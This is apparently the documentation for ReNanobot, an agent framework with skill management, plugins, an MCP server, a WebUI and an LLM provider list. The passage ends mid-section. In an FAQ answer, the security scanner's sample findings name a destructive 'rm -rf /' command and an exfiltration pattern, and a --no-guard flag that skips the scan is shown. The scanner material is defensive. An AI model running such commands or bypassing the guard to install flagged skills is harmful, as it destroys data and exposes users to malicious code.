Installed from the SkillHub marketplace |
agent_created |
Created by the agent via skill_manage |
manual |
Created via CLI (nanobot skill create) |
external_dir |
Loaded from an external directory |
@dataclass
class ProvenanceRecord:
name: str
source: ProvenanceSource
installed_at: float # Unix timestamp
installed_from: str | None # git URL, hub name, "skill_manage tool"
modified_at: float | None
last_used_at: float | None
use_count: int
pinned: bool # pinned skills are never auto-archived
notes: str | Nonefrom nanobot.skillpkg.provenance import ProvenanceStore, ProvenanceSource
store = ProvenanceStore(Path("~/.nanobot/workspace/skills/.provenance.json"))
# Record an install
store.record_install("my-skill", ProvenanceSource.HUB, installed_from="https://github.com/...")
# Record usage
store.record_use("my-skill") # increments use_count, updates last_used_at
# Pin a skill (protect from curator)
store.set_pinned("my-skill", True)
# List all agent-created skills
agent_skills = store.list_by_source(ProvenanceSource.AGENT_CREATED)Provenance is stored as a single JSON file at ~/.nanobot/workspace/skills/.provenance.json:
{
"my-skill": {
"name": "my-skill",
"source": "agent_created",
"installed_at": 1783359146.0,
"installed_from": "skill_manage tool",
"modified_at": null,
"last_used_at": 1783359200.0,
"use_count": 3,
"pinned": false,
"notes": "created via SkillStore.create_skill"
}
}Each skill gets a private, sandboxed state directory at ~/.nanobot/skill-state/<name>/.
- Namespaced — a skill can only read/write inside its own directory
- Size-capped — 5 MB per file, 50 MB per skill total
- JSON-friendly —
get_json()/set_json()for structured data - Atomic writes — write to
.tmp, thenos.replace()
from nanobot.skillpkg.state import SkillStateStore
state = SkillStateStore(Path("~/.nanobot/skill-state"), "my-skill")
# Write JSON state
state.set_json("config.json", {"api_key": "...", "last_run": "2024-01-01"})
# Read JSON state
config = state.get_json("config.json", default={})
print(config["api_key"])
# Write raw bytes
state.write_bytes("cache.bin", binary_data)
# List all keys
keys = state.list_keys()
# ["config.json", "cache.bin", "subdir/data.txt"]
# Delete
state.delete("cache.bin")
# Destroy all state (on uninstall)
state.destroy()- Skill names are validated (
^[a-zA-Z0-9][a-zA-Z0-9._\-/]*$) — no../escapes - State keys are validated with the same regex
- Path traversal attempts raise
SkillStateError
Skills (Python ones) can subscribe to lifecycle events by implementing SkillLifecycleHook.
| Method | When it fires |
|---|---|
on_install(ctx) |
Skill is installed |
on_uninstall(ctx) |
Skill is uninstalled |
on_enable(ctx) |
Skill is enabled |
on_disable(ctx) |
Skill is disabled |
on_load(ctx) |
Skill is loaded into the agent |
on_unload(ctx) |
Skill is unloaded |
before_agent_turn(ctx) |
Before each agent turn |
after_agent_turn(ctx, result) |
After each agent turn |
from nanobot.skillpkg.lifecycle import SkillLifecycleHook, SkillLifecycleContext
class MyHook(SkillLifecycleHook):
def on_install(self, ctx: SkillLifecycleContext) -> None:
print(f"My skill installed at {ctx.workspace}")
def before_agent_turn(self, ctx: SkillLifecycleContext) -> None:
# Refresh cache before each turn
ctx.skill_state_store.set_json("last_turn", {"timestamp": time.time()})
def after_agent_turn(self, ctx: SkillLifecycleContext, result: Any) -> None:
# Log turn result
ctx.skill_state_store.set_json("last_result", {"success": True})Python skills are skills declared in Python (rather than just markdown). They bundle:
- A markdown body (loaded into the system prompt when the skill triggers)
- Tool classes (registered into the agent's
ToolRegistry) - A lifecycle hook
- A config schema (Pydantic model)
from nanobot.skillpkg.registry import register_python_skill
from nanobot.agent.tools.base import Tool, ToolResult
class VercelDeployTool(Tool):
@property
def name(self) -> str:
return "vercel_deploy"
@property
def description(self) -> str:
return "Deploy the current project to Vercel"
@property
def parameters(self) -> dict:
return {
"type": "object",
"properties": {
"prod": {"type": "boolean", "default": False}
},
}
async def execute(self, prod: bool = False, **kwargs) -> ToolResult:
# ... deployment logic ...
return ToolResult("Deployed successfully!")
@register_python_skill(
name="deploy-vercel",
description="Deploy Next.js apps to Vercel. Use when the user wants to deploy.",
version="1.0.0",
author="Jane Developer",
provides_tools=[VercelDeployTool],
)
class DeployVercelSkill:
"""Deploy Next.js apps to Vercel using the Vercel CLI."""
passIn pyproject.toml:
[project.entry-points."nanobot.skills"]
deploy-vercel = "my_package.skills:DeployVercelSkill"Python skills are discovered from:
- The
nanobot.skillsentry-point group (third-party packages) - In-tree modules in
nanobot/skills_python/(if it exists) - Direct registration via
register_python_skill
ReNanobot adds a plugin system with 21 hook points.
| Hook | When it fires |
|---|---|
pre_tool_call |
Before a tool is called |
post_tool_call |
After a tool is called |
transform_tool_result |
Transform a tool's result |
transform_terminal_output |
Transform terminal output |
pre_llm_call |
Before an LLM call |
post_llm_call |
After an LLM call |
transform_llm_output |
Transform LLM output |
on_session_start |
When a session starts |
on_session_end |
When a session ends |
on_session_reset |
When a session is reset |
on_session_finalize |
When a session is finalized |
pre_approval_request |
Before an approval request |
post_approval_response |
After an approval response |
subagent_start |
When a subagent starts |
subagent_stop |
When a subagent stops |
pre_gateway_dispatch |
Before gateway dispatch |
pre_message_dispatch |
Before message dispatch |
on_skill_install |
When a skill is installed |
on_skill_uninstall |
When a skill is uninstalled |
on_skill_load |
When a skill is loaded |
on_skill_unload |
When a skill is unloaded |
A plugin module can expose:
# my_plugin/__init__.py
__version__ = "1.0.0"
__doc__ = "My awesome plugin"
# Hooks: dict mapping hook name → callable
HOOKS = {
"pre_tool_call": my_pre_tool_handler,
"post_tool_call": my_post_tool_handler,
}
# Tools: list of Tool subclasses
TOOLS = [MyCustomTool]
# Slash commands: list of (command, handler) tuples
COMMANDS = [("/my-cmd", my_command_handler)]
# Providers: list of provider specs
PROVIDERS = [my_provider_spec]
# Config defaults: dict
CONFIG_DEFAULTS = {"my_plugin": {"enabled": True}}
# Optional: register() function called at load time
def register(registry):
# Custom registration logic
passIn pyproject.toml:
[project.entry-points."nanobot.plugins"]
my-plugin = "my_plugin"A plugin raising an exception does NOT break the others or the parent operation. Errors are logged and the hook continues to the next plugin.
ReNanobot can expose itself as an MCP (Model Context Protocol) server, allowing any MCP-compatible client to use it as a tool.
# stdio transport (default — for Claude Code, Cursor, Zed)
nanobot mcp-serve
# With config
nanobot mcp-serve -c ~/.nanobot/config.json -w ~/.nanobot/workspace| Tool | Description |
|---|---|
list_skills |
List all skills with metadata |
view_skill |
View a skill's full body |
search_skills |
Search skills by name/description |
install_skill |
Install from path/URL |
validate_skill |
Validate a skill's structure |
audit_skill |
Security-scan a skill |
list_pending_writes |
List pending skill writes |
approve_write |
Approve a pending write |
reject_write |
Reject a pending write |
Add to your MCP client config:
{
"mcpServers": {
"renanobot": {
"command": "nanobot",
"args": ["mcp-serve"]
}
}
}{
"mcp.servers": {
"renanobot": {
"command": "nanobot",
"args": ["mcp-serve"]
}
}
}The server speaks standard MCP JSON-RPC over stdio:
→ {"jsonrpc": "2.0", "id": 1, "method": "initialize", "params": {}}
← {"jsonrpc": "2.0", "id": 1, "result": {"protocolVersion": "2024-11-05", "serverInfo": {"name": "nanobot", "version": "0.2.2"}}}
→ {"jsonrpc": "2.0", "id": 2, "method": "tools/list", "params": {}}
← {"jsonrpc": "2.0", "id": 2, "result": {"tools": [...]}}
→ {"jsonrpc": "2.0", "id": 3, "method": "tools/call", "params": {"name": "list_skills", "arguments": {}}}
← {"jsonrpc": "2.0", "id": 3, "result": {"content": [{"type": "text", "text": "[...]"}]}}
ReNanobot ships with a bundled React/TypeScript WebUI.
- Vite 5 + React 18 + TypeScript 5.7
- Tailwind CSS 3.4 + shadcn/ui (Radix primitives)
- i18next (10 locales: en, zh-CN, zh-TW, ja, ko, fr, es, vi, id, + planned ru)
- react-markdown with remark-gfm, remark-math, rehype-katex
- lucide-react icons
- react-syntax-highlighter
nanobot webui --yesThis:
- Starts the gateway (WebSocket + HTTP)
- Opens the WebUI in your browser
- Auto-issues a token for local access
The WebUI exposes skill management endpoints:
# Get API token
curl http://127.0.0.1:8765/webui/bootstrap
# {"token": "nbwt_...", "ws_url": "ws://127.0.0.1:8765/", ...}
# List skills (legacy 5-field shape — backward compatible)
curl -H "Authorization: Bearer <token>" http://127.0.0.1:8765/api/webui/skills
# {"skills": [{"name": "...", "description": "...", "source": "...", "available": true, "unavailable_reason": ""}]}
# List skills (enriched 11-field shape — opt-in)
curl -H "Authorization: Bearer <token>" "http://127.0.0.1:8765/api/webui/skills?rich=1"
# {"skills": [{"name": "...", "version": "0.1.0", "python": false, "provides_tools": [], "provenance": {...}, ...}]}The gateway is a background process that hosts chat channels, WebUI, cron service, and Dream memory consolidation.
# Foreground
nanobot gateway
# Background
nanobot gateway --background
# Check status
nanobot gateway status
# Stop
nanobot gateway stop
# Restart
nanobot gateway restart- WebSocket channel (port 8765) — WebUI + programmatic access
- Health endpoint (port 18790) —
GET /health→{"status": "ok"} - Cron service — scheduled jobs
- Dream memory consolidation — periodic memory compression
- Heartbeat — system health monitoring
When the gateway starts, the agent loop registers 22 tools (18 original + 3 skill tools + cron):
Registered 22 tools: ['apply_patch', 'run_cli_app', 'complete_goal', 'cron',
'edit_file', 'exec', 'find_files', 'grep', 'list_dir', 'list_exec_sessions',
'long_task', 'message', 'read_file', 'skill_manage', 'skill_view', 'skills_list',
'spawn', 'web_fetch', 'web_search', 'write_file', 'write_stdin', 'my']
ReNanobot exposes an OpenAI-compatible HTTP API at /v1/chat/completions.
nanobot serve --port 8911 --host 127.0.0.1# List models
curl http://127.0.0.1:8911/v1/models
# {"object": "list", "data": [{"id": "groq/llama-3.3-70b-versatile", ...}]}
# Chat completion (non-streaming)
curl http://127.0.0.1:8911/v1/chat/completions \
-H "Content-Type: application/json" \
-d '{
"model": "groq/llama-3.3-70b-versatile",
"messages": [{"role": "user", "content": "Use skills_list to list all skills"}]
}'
# Chat completion (streaming)
curl http://127.0.0.1:8911/v1/chat/completions \
-H "Content-Type: application/json" \
-d '{
"model": "groq/llama-3.3-70b-versatile",
"messages": [{"role": "user", "content": "Hello"}],
"stream": true
}'from openai import OpenAI
client = OpenAI(
base_url="http://127.0.0.1:8911/v1",
api_key="not-needed",
)
response = client.chat.completions.create(
model="groq/llama-3.3-70b-versatile",
messages=[{"role": "user", "content": "List all available skills"}],
)
print(response.choices[0].message.content)ReNanobot supports 49 LLM providers out of the box.
| Provider | Backend | Env var |
|---|---|---|
| Anthropic | anthropic | ANTHROPIC_API_KEY |
| OpenAI | openai_compat | OPENAI_API_KEY |
| OpenAI Codex | openai_codex | OAuth |
| GitHub Copilot | github_copilot | OAuth |
| Groq | openai_compat | GROQ_API_KEY |
| Google Gemini | openai_compat | GEMINI_API_KEY |
| DeepSeek | openai_compat | DEEPSEEK_API_KEY |
| AWS Bedrock | bedrock | AWS_BEARER_TOKEN_BEDROCK |
| Azure OpenAI | azure_openai | AZURE_API_KEY |
| OpenRouter | openai_compat | OPENROUTER_API_KEY |
| DashScope (Qwen) | openai_compat | DASHSCOPE_API_KEY |
| Moonshot (Kimi) | openai_compat | MOONSHOT_API_KEY |
| MiniMax | openai_compat | MINIMAX_API_KEY |
| Mistral | openai_compat | MISTRAL_API_KEY |
| StepFun | openai_compat | STEPFUN_API_KEY |
| Xiaomi MiMo | openai_compat | XIAOMIMIMO_API_KEY |
| LongCat | openai_compat | LONGCAT_API_KEY |
| Ant Ling | openai_compat | ANT_LING_API_KEY |
| Z.ai (GLM) | openai_compat | ZAI_API_KEY |
| Zhipu AI | openai_compat | ZHIPUAI_API_KEY |
| Qianfan | openai_compat | QIANFAN_API_KEY |
| NVIDIA NIM | openai_compat | NVIDIA_NIM_API_KEY |
| HuggingFace | openai_compat | HF_TOKEN |
| Skywork | openai_compat | SKYWORK_API_KEY |
| Novita | openai_compat | NOVITA_API_KEY |
| Kimi Coding | openai_codex | KIMI_CODING_API_KEY |
| OpenCode | openai_compat | OPENCODE_API_KEY |
| Groq | openai_compat | GROQ_API_KEY |
| vLLM | openai_compat | HOSTED_VLLM_API_KEY |
| Ollama | openai_compat | OLLAMA_API_KEY |
| LM Studio | openai_compat | LM_STUDIO_API_KEY |
| OVMS | openai_compat | OVMS |
| Atomic Chat | openai_compat | ATOMIC_CHAT_API_KEY |
| AiHubMix | openai_compat | — |
| SiliconFlow | openai_compat | — |
| VolcEngine | openai_compat | — |
| BytePlus | openai_compat | — |
| + custom | openai_compat | — |
Define multiple model configurations and switch between them:
{
"modelPresets": {
"fast": { "model": "groq/llama-3.1-8b-instant", "provider": "groq" },
"smart": { "model": "groq/llama-3.3-70b-versatile", "provider": "groq" },
"reasoning": { "model": "deepseek/deepseek-reasoner", "provider": "deepseek" }
}
}Switch in the agent:
> /model smart
> /model fast
Define fallback models for automatic failover:
{
"agents": {
"defaults": {
"model": "groq/llama-3.3-70b-versatile",
"fallbackModels": ["openai/gpt-4o-mini", "anthropic/claude-3-haiku"]
}
}
}┌─────────────────────────────────────────────────────────────────────────┐
│ User / Client │
│ (CLI, WebUI, API, MCP, Chat) │
└──────────────────────────────┬──────────────────────────────────────────┘
│
▼
┌─────────────────────────────────────────────────────────────────────────┐
│ CLI (Typer) │
│ ┌──────────┐ ┌──────────┐ ┌──────────┐ ┌──────────┐ ┌──────────┐ │
│ │ nanobot │ │ nanobot │ │ nanobot │ │ nanobot │ │ nanobot │ │
│ │ agent │ │ skill │ │ mcp-serve│ │ serve │ │ gateway │ │
│ └────┬─────┘ └────┬─────┘ └────┬─────┘ └────┬─────┘ └────┬─────┘ │
└───────┼─────────────┼─────────────┼─────────────┼─────────────┼────────┘
│ │ │ │ │
▼ ▼ ▼ ▼ ▼
┌─────────────────────────────────────────────────────────────────────────┐
│ AgentLoop (core) │
│ ┌─────────────┐ ┌──────────────┐ ┌──────────────┐ ┌──────────────┐ │
│ │ AgentRunner │ │ ToolRegistry │ │ SessionMgr │ │ CommandRouter│ │ │
│ └──────┬──────┘ └──────┬───────┘ └──────────────┘ └──────────────┘ │
│ │ │ │
│ ▼ ▼ │
│ ┌─────────────┐ ┌──────────────────────────────────────────────────┐ │
│ │ LLMProvider │ │ Tools (21 total) │ │
│ │ (49 backends│ │ ┌────┐ ┌────┐ ┌────┐ ┌────┐ ┌────┐ ┌─────────┐ │ │
│ │ supported) │ │ │read│ │writ│ │exec│ │web │ │grep│ │skill_*$ │ │ │
│ └─────────────┘ │ │file│ │file│ │ │ │srch│ │ │ │ (3 new) │ │ │
│ │ └────┘ └────┘ └────┘ └────┘ └────┘ └─────────┘ │ │
│ └──────────────────────────────────────────────────┘ │
└─────────────────────────────────────────────────────────────────────────┘
│
▼
┌─────────────────────────────────────────────────────────────────────────┐
│ nanobot.skillpkg (enhanced) │
│ ┌──────────────────────────────────────────────────────────────────┐ │
│ │ SkillStore (high-level) │ │
│ │ ┌────────┐ ┌──────────┐ ┌────────┐ ┌────────┐ ┌────────────┐ │ │
│ │ │Manifest│ │Validator │ │ Guard │ │ Hub │ │ Curator │ │ │
│ │ └────────┘ └──────────┘ └────────┘ └────────┘ └────────────┘ │ │
│ │ ┌──────────┐ ┌────────┐ ┌──────────┐ ┌────────┐ ┌──────────┐ │ │
│ │ │Provenance│ │ State │ │WriteAppr │ │Package │ │ Registry │ │ │
│ │ └──────────┘ └────────┘ └──────────┘ └────────┘ └──────────┘ │ │
│ │ ┌────────────────────────────────────────────────────────────┐ │ │
│ │ │ SelfImprovementHook (creation nudge + improve + curator) │ │ │
│ │ └────────────────────────────────────────────────────────────┘ │ │
│ │ ┌────────────────────────────────────────────────────────────┐ │ │
│ │ │ Integration adapter (1-line calls from core files) │ │ │
│ │ └────────────────────────────────────────────────────────────┘ │ │
│ └──────────────────────────────────────────────────────────────────┘ │
│ ┌────────────────┐ ┌────────────────┐ ┌────────────────────────┐ │
│ │ plugins/ │ │ mcp_serve/ │ │ cli/skill.py │ │
│ │ (21 hooks) │ │ (9 MCP tools) │ │ (18 commands) │ │
│ └────────────────┘ └────────────────┘ └────────────────────────┘ │
└─────────────────────────────────────────────────────────────────────────┘
nanobot/
├── skillpkg/ # Enhanced skill architecture (13 modules)
│ ├── __init__.py # Lazy exports (PEP 562 __getattr__)
│ ├── manifest.py # Pydantic SkillManifest schema
│ ├── validator.py # Structural validation
│ ├── guard.py # Security scanner (28 patterns)
│ ├── hub.py # Skill marketplace
│ ├── curator.py # Background maintenance
│ ├── package.py # .skill archive format
│ ├── provenance.py # Provenance tracking
│ ├── write_approval.py # Staged write gate
│ ├── state.py # Per-skill sandboxed state
│ ├── registry.py # Python skill registry
│ ├── lifecycle.py # Lifecycle hook protocol
│ ├── self_improvement.py # Self-improvement loop
│ ├── store.py # High-level SkillStore
│ └── integration.py # Adapter for nanobot core (1-line calls)
├── plugins/ # Plugin system (21 hooks)
├── mcp_serve/ # MCP server (9 tools)
├── agent/
│ ├── loop.py # AgentLoop (patched: 1-line skill_store call)
│ ├── runner.py # AgentRunner (unchanged)
│ ├── hook.py # AgentHook (unchanged)
│ └── tools/
│ ├── skill_tools.py # NEW: skills_list, skill_view, skill_manage
│ ├── context.py # ToolContext (patched: +skill_store field)
│ └── ... (18 original tools, unchanged)
├── cli/
│ ├── commands.py # CLI (patched: 2 lines for skill + mcp-serve)
│ └── skill.py # NEW: nanobot skill sub-app (18 commands)
├── command/
│ └── builtin.py # Slash commands (patched: 3 lines for new commands)
├── config/
│ └── schema.py # Config (patched: +SkillsConfig section)
├── webui/
│ ├── skills_api.py # WebUI skills API (patched: +rich param)
│ └── ws_http.py # HTTP routes (patched: +?rich=1 param)
├── agent/skills.py # SkillsLoader (patched: +rich manifest parser)
├── skills/ # 13 builtin skills (unchanged)
└── ... (rest of nanobot, unchanged)
┌──────────┐
│ manifest │ (pydantic + yaml)
└────┬─────┘
│
┌──────────┴──────────┐
▼ ▼
┌──────────┐ ┌──────────┐
│ validator│ │ registry │
└────┬─────┘ └────┬─────┘
│ │
▼ ▼
┌──────────┐ ┌──────────┐
│ guard │ │ lifecycle│
└────┬─────┘ └──────────┘
│
▼
┌──────────┐
│ package │
└────┬─────┘
│
▼
┌──────────┐ ┌──────────┐
│ hub │◄───►│provenance│
└────┬─────┘ └──────────┘
│
▼
┌──────────┐ ┌──────────────┐
│ curator │ │write_approval│
└────┬─────┘ └──────┬───────┘
│ │
▼ ▼
┌──────────────────────────┐
│ store │ (high-level)
└────────────┬─────────────┘
│
▼
┌──────────────────────────┐
│ self_improvement │ (AgentHook)
└────────────┬─────────────┘
│
▼
┌──────────────────────────┐
│ integration │ (adapter for nanobot core)
└──────────────────────────┘
ReNanobot is designed to survive nanobot upgrades. The enhanced skill architecture is modular: 3 self-contained packages + 7 one-line core patches.
| Package | LOC | Depends on |
|---|---|---|
nanobot/skillpkg/ |
~3,000 | pydantic, yaml, stdlib |
nanobot/plugins/ |
~245 | stdlib, loguru |
nanobot/mcp_serve/ |
~401 | stdlib |
nanobot/agent/tools/skill_tools.py |
~450 | nanobot.agent.tools.base |
nanobot/cli/skill.py |
~511 | typer, skillpkg.store |
| File | Patch | Lines changed |
|---|---|---|
nanobot/agent/loop.py |
Build SkillStore + attach self-improvement | 8 |
nanobot/agent/tools/context.py |
Add skill_store field |
1 |
nanobot/agent/skills.py |
Use rich manifest parser | 6 |
nanobot/command/builtin.py |
Register 3 slash commands | 5 |
nanobot/cli/commands.py |
Register skill CLI + mcp-serve | 8 |
nanobot/config/schema.py |
Add SkillsConfig | 35 |
nanobot/webui/skills_api.py |
Add rich param |
15 |
nanobot/webui/ws_http.py |
Parse ?rich=1 query |
6 |
Total core changes: ~84 lines across 8 files.
All adapter logic lives in nanobot/skillpkg/integration.py — a single module. Core files call into it:
# loop.py
from nanobot.skillpkg.integration import build_skill_store_for_loop, attach_self_improvement
skill_store = build_skill_store_for_loop(self)
attach_self_improvement(self)
# skills.py
from nanobot.skillpkg.integration import enrich_skill_metadata
enriched = enrich_skill_metadata(content)
# builtin.py
from nanobot.skillpkg.integration import register_skill_slash_commands
register_skill_slash_commands(router)
# commands.py
from nanobot.skillpkg.integration import register_skill_cli, register_mcp_serve_cli
register_skill_cli(app, ...)
register_mcp_serve_cli(app)If a future nanobot version renames ToolContext or CommandRouter, only integration.py needs updating.
import nanobot.skillpkg loads zero heavy modules:
import sys
import nanobot.skillpkg
heavy = ['nanobot.skillpkg.hub', 'nanobot.skillpkg.curator', ...]
loaded = [m for m in heavy if m in sys.modules]
assert loaded == [] # ✓ zero heavy modulesHeavy subsystems only load when you instantiate SkillStore or access specific features.
ReNanobot has 4,546 tests — all passing (excluding pre-existing anthropic/feishu failures unrelated to this work).
| Suite | Count | Coverage |
|---|---|---|
tests/skillpkg/ |
167 | manifest, validator, guard, write-approval, store, registry, plugins, agent tools, self-improvement, lazy imports |
tests/agent/ |
~50 | loop, runner, consolidator, hooks, dream, subagent, mcp, skills_loader, context_builder |
tests/tools/ |
~25 | filesystem, exec, search, apply_patch, web_search, mcp_tool, image_generation |
tests/providers/ |
~40 | anthropic, openai_compat, azure, bedrock, codex, copilot, mistral, minimax, etc. |
tests/channels/ |
~40 | websocket, telegram, discord, slack, etc. |
tests/config/ |
9 | model_presets, paths, dream, gateway, load_errors, env_interpolation |
tests/cli/ |
7 | commands, cli_input, restart, interactive_retry_wait |
tests/command/ |
7 | model, skill, trigger, stop_pending_queue, builtin_dream |
tests/cron/ |
6 | service, persistence, session_delivery |
tests/webui/ |
8 | settings_api, session_list, token_usage, mcp_presets |
tests/utils/ |
~17 | helpers, webui_transcript, token_estimation, artifacts |
tests/security/ |
3 | workspace_sandbox, security_network, workspace_policy |
| Other | ~150 | API, session, bus, triggers, pairing, gateway, etc. |
| Total | 4,546 |
# Run all skillpkg tests
pytest tests/skillpkg/ -v
# Run the full suite
pytest tests/
# Run with coverage
pytest tests/ --cov=nanobot --cov-report=html30 tests in tests/providers/test_anthropic_* fail with ModuleNotFoundError: No module named 'anthropic.resources.beta.skills'. This is an anthropic SDK version mismatch in the test environment — not caused by ReNanobot. These tests fail with or without the enhanced code.
ReNanobot ships with 7 live end-to-end test scripts that exercise the real binary:
python scripts/live_tests/test_cli_smoke.py
# [1] nanobot skill --help: OK
# [2] nanobot skill create: OK
# ...
# [18] nanobot mcp-serve --help: OK
# PASS: All 18 smoke tests passed!python scripts/live_tests/test_live_agent.py
# [PASS] Full agent loop test passed!
# [PASS] Write-approval gate test passed!
# All live agent tests passed!python scripts/live_tests/test_mcp_serve_e2e.py
# [1] initialize -> {'name': 'nanobot', 'version': '0.2.2'}
# [2] tools/list -> 9 tools
# [3] list_skills -> 13 skills
# [4] view_skill -> name=mcp-test-skill, version=1.0.0python scripts/live_tests/test_slash_registration.py
# All slash command tests passed!python scripts/live_tests/test_live_guard.py
# [PASS] Audit detected the malicious skill
# [PASS] Install was correctly blocked by the guard
# [PASS] Install succeeded with --no-guard
# [PASS] Audit still flags the installed malicious skill
# [OK] All guard tests passed!python scripts/live_tests/test_write_approval_e2e.py
# All write-approval tests passed!python scripts/live_tests/test_agent_e2e.py
# [1] skill_manage tool is registered
# [2] skill_manage create result: Created skill
# ...
# [10] skill is in archive
# All end-to-end integration tests passed!python scripts/live_tests/test_runtime_bug_hunt.py
# [OK] invalid name doesn't crash
# [OK] path traversal blocked
# [OK] concurrent create #1
# [OK] nudge fired
# NO BUGS FOUND — all 12 edge-case tests passed!| Operation | Time |
|---|---|
import nanobot |
0.063s |
import nanobot.skillpkg |
0.063s (same — lazy) |
import nanobot.skillpkg.manifest |
0.153s |
import nanobot.skillpkg.store |
0.272s |
| Command | Time |
|---|---|
nanobot --version |
0.891s |
nanobot --help |
0.922s |
nanobot skill --help |
0.943s |
nanobot skill list |
0.909s |
| State | RSS |
|---|---|
After import nanobot |
18,876 KB |
After import nanobot.skillpkg |
18,892 KB (+16 KB) |
After import nanobot.skillpkg.store |
34,160 KB |
| Configuration | Tools |
|---|---|
| Original nanobot | 18 |
| ReNanobot (CLI mode) | 21 (+3 skill tools) |
| ReNanobot (gateway mode) | 22 (+cron) |
import sys
import nanobot.skillpkg
heavy = ['nanobot.skillpkg.hub', 'nanobot.skillpkg.curator', 'nanobot.skillpkg.guard', ...]
loaded = [m for m in heavy if m in sys.modules]
# loaded == [] ✓ Zero heavy modules on import| Feature | Original nanobot | ReNanobot | Delta |
|---|---|---|---|
| Skill format | Markdown only | Markdown + Pydantic manifest | ✅ Richer |
| Skill validation | ❌ | ✅ (10 checks) | ✅ New |
| Security scanner | ❌ | ✅ (28 patterns, 6 categories) | ✅ New |
| Skill marketplace | ❌ | ✅ (4 sources) | ✅ New |
| Provenance tracking | ❌ | ✅ | ✅ New |
| Write-approval gate | ❌ | ✅ | ✅ New |
| Background curator | ❌ | ✅ | ✅ New |
| Per-skill state | ❌ | ✅ | ✅ New |
| Lifecycle hooks | ❌ | ✅ (8 hooks) | ✅ New |
| Python skills | ❌ | ✅ | ✅ New |
| Agent tools for skills | ❌ | ✅ (3 tools) | ✅ New |
| Skill CLI | ❌ | ✅ (18 commands) | ✅ New |
| Slash commands | 12 | 16 | +4 |
| Plugin system | ❌ | ✅ (21 hooks) | ✅ New |
| MCP server | ❌ | ✅ (9 tools) | ✅ New |
| Self-improvement | ❌ | ✅ (3 mechanisms) | ✅ New |
| Import time | 0.063s | 0.063s | ~0 (lazy) |
| CLI startup | 0.9s | 0.9s | ~0 (lazy) |
| Memory after import | 18.9 MB | 18.9 MB | +0.1 MB (lazy) |
| Core LOC | ~4,000 | ~4,000 | ~0 (additive) |
| Test count | ~4,400 | 4,546 | +146 |
Verdict: Strictly superior. Every original feature works unchanged, plus 19 new capabilities. Zero regressions.
| Feature | ReNanobot | hermes-agent |
|---|---|---|
| Core philosophy | Ultra-lightweight | Full-featured |
| Core LOC | ~4,000 (unchanged) | ~100,000+ |
| Self-creates skills | ✅ | ✅ |
| Auto-improves skills | ✅ (nudge-based) | ✅ (forked review agent) |
| Security scanner | ✅ (28 patterns) | ✅ (similar) |
| Skill marketplace | ✅ (4 sources) | ✅ (8+ registries) |
| Write-approval gate | ✅ | ✅ |
| Background curator | ✅ | ✅ |
| MCP server | ✅ (9 tools) | ✅ |
| Plugin system | ✅ (21 hooks) | ✅ (25 hooks, ~80 plugins) |
| Chat platforms | 14 | 22+ |
| Terminal backends | 1 (local) | 6 (local/Docker/SSH/Singularity/Modal/Daytona) |
| TUI | ❌ | ✅ |
| ACP adapter | ❌ | ✅ |
| Trajectory compression | ❌ | ✅ |
| Batch runner | ❌ | ✅ |
| Memory providers | Dream (builtin) | Honcho, Hindsight, Mem0, Supermemory, + more |
| Desktop app | ❌ | ✅ (Electron + Tauri) |
| Multi-profile | ❌ | ✅ |
| Scale-to-zero | ❌ | ✅ |
| Review mechanism | System message nudge | Forked background thread |
| Auxiliary model | ❌ | ✅ |
| Lifecycle states | present → archived | draft → active → archived |
| Consolidation | ❌ | ✅ |
Verdict: ReNanobot is not a replacement for hermes-agent. It's nanobot + hermes's skill architecture. For research, multi-platform, or team deployments, use hermes. For a personal assistant that self-improves, use ReNanobot.
Step 1: Install ReNanobot (see Installation)
Step 2: Your existing config works unchanged
# Your ~/.nanobot/config.json works as-is
nanobot agent # works exactly as beforeStep 3: Your existing skills work unchanged
nanobot skill list # shows all your existing skillsStep 4: Opt into new features (optional)
{
"tools": {
"skills": {
"creationNudgeInterval": 10,
"writeApproval": true
}
}
}If you're coming from hermes-agent and want a lighter alternative:
- Skills transfer: Your hermes
SKILL.mdfiles work as-is (same format) - Config: Rebuild your config — nanobot's schema is different
- Plugins: Need to be ported (different hook names)
- Chat platforms: Reconfigure channels (different adapter APIs)
- Terminal backends: Only local is supported (no Docker/SSH/Modal/Daytona)
A: No. All 4,546 tests pass (excluding pre-existing anthropic/feishu failures). The enhanced code is purely additive — every original feature works unchanged.
A: Yes. The SkillsLoader API is unchanged. Your markdown SKILL.md files load exactly as before.
A: No. Self-improvement is opt-in via creationNudgeInterval > 0. By default, ReNanobot behaves exactly like original nanobot.
A: You need an API key for the agent, but the CLI commands work without one:
nanobot skill list # works without a key
nanobot skill create test # works without a key
nanobot skill validate test # works without a key
nanobot skill audit test # works without a key
nanobot mcp-serve # needs a key (builds an AgentLoop)A: Set creationNudgeInterval in your config:
{
"tools": {
"skills": {
"creationNudgeInterval": 10
}
}
}This makes the agent reflect on skill creation every 10 turns.
A: Set creationNudgeInterval to 0 (the default):
{
"tools": {
"skills": {
"creationNudgeInterval": 0
}
}
}A:
/skill— Lists all enabled skills (original nanobot command)/skills— Manages pending writes (new:/skills pending,/skills approve <id>,/skills reject <id>)/reload-skills— Hot-reloads Python skills (new)/learn <description>— Has the agent create a skill (new)
A: Yes! ReNanobot exposes itself as an MCP server:
nanobot mcp-serveAdd to your client's MCP config:
{
"mcpServers": {
"renanobot": {
"command": "nanobot",
"args": ["mcp-serve"]
}
}
}A: Package it and send the .skill file:
nanobot skill package my-skill -o ./dist
# Send ./dist/my-skill.skill to your friend
# They install it:
nanobot skill install ./my-skill.skillA: Use the GitHub zip URL:
nanobot skill install https://github.com/user/skill-repo/archive/refs/heads/main.zipOr clone via git:
nanobot skill install https://github.com/user/skill-repo.gitA: The security guard blocks the install:
nanobot skill install ./suspicious.skill
# Install failed: security scan blocked install: 1 critical, 2 high findings
# CRITICAL destructive/rm_rf_root: rm -rf /
# HIGH exfiltration/urllib_request_upload: urllib.request.Request(...)You can bypass with --no-guard (not recommended):
nanobot skill install ./suspicious.skill --no-guardA: Yes, via the Python API:
from nanobot.skillpkg.provenance import ProvenanceStore
store = ProvenanceStore(Path("~/.nanobot/workspace/skills/.provenance.json"))
store.set_pinned("my-important-skill", True)A: Filter by provenance:
nanobot skill list --json | python -c "
import json, sys
skills = json.load(sys.stdin)
for s in skills:
if s.get('provenance', {}).get('source') == 'agent_created':
print(f' {s[\"name\"]} (used {s[\"provenance\"][\"use_count\"]} times)')
"A: Yes. By default (creationNudgeInterval: 0), self-improvement is OFF. ReNanobot behaves exactly like original nanobot. You still get the skill CLI, MCP server, plugin system, security guard, etc. — just not the auto-creation/improvement loop.
Cause: The venv isn't in your PATH.
Fix:
# Option 1: Use the full path
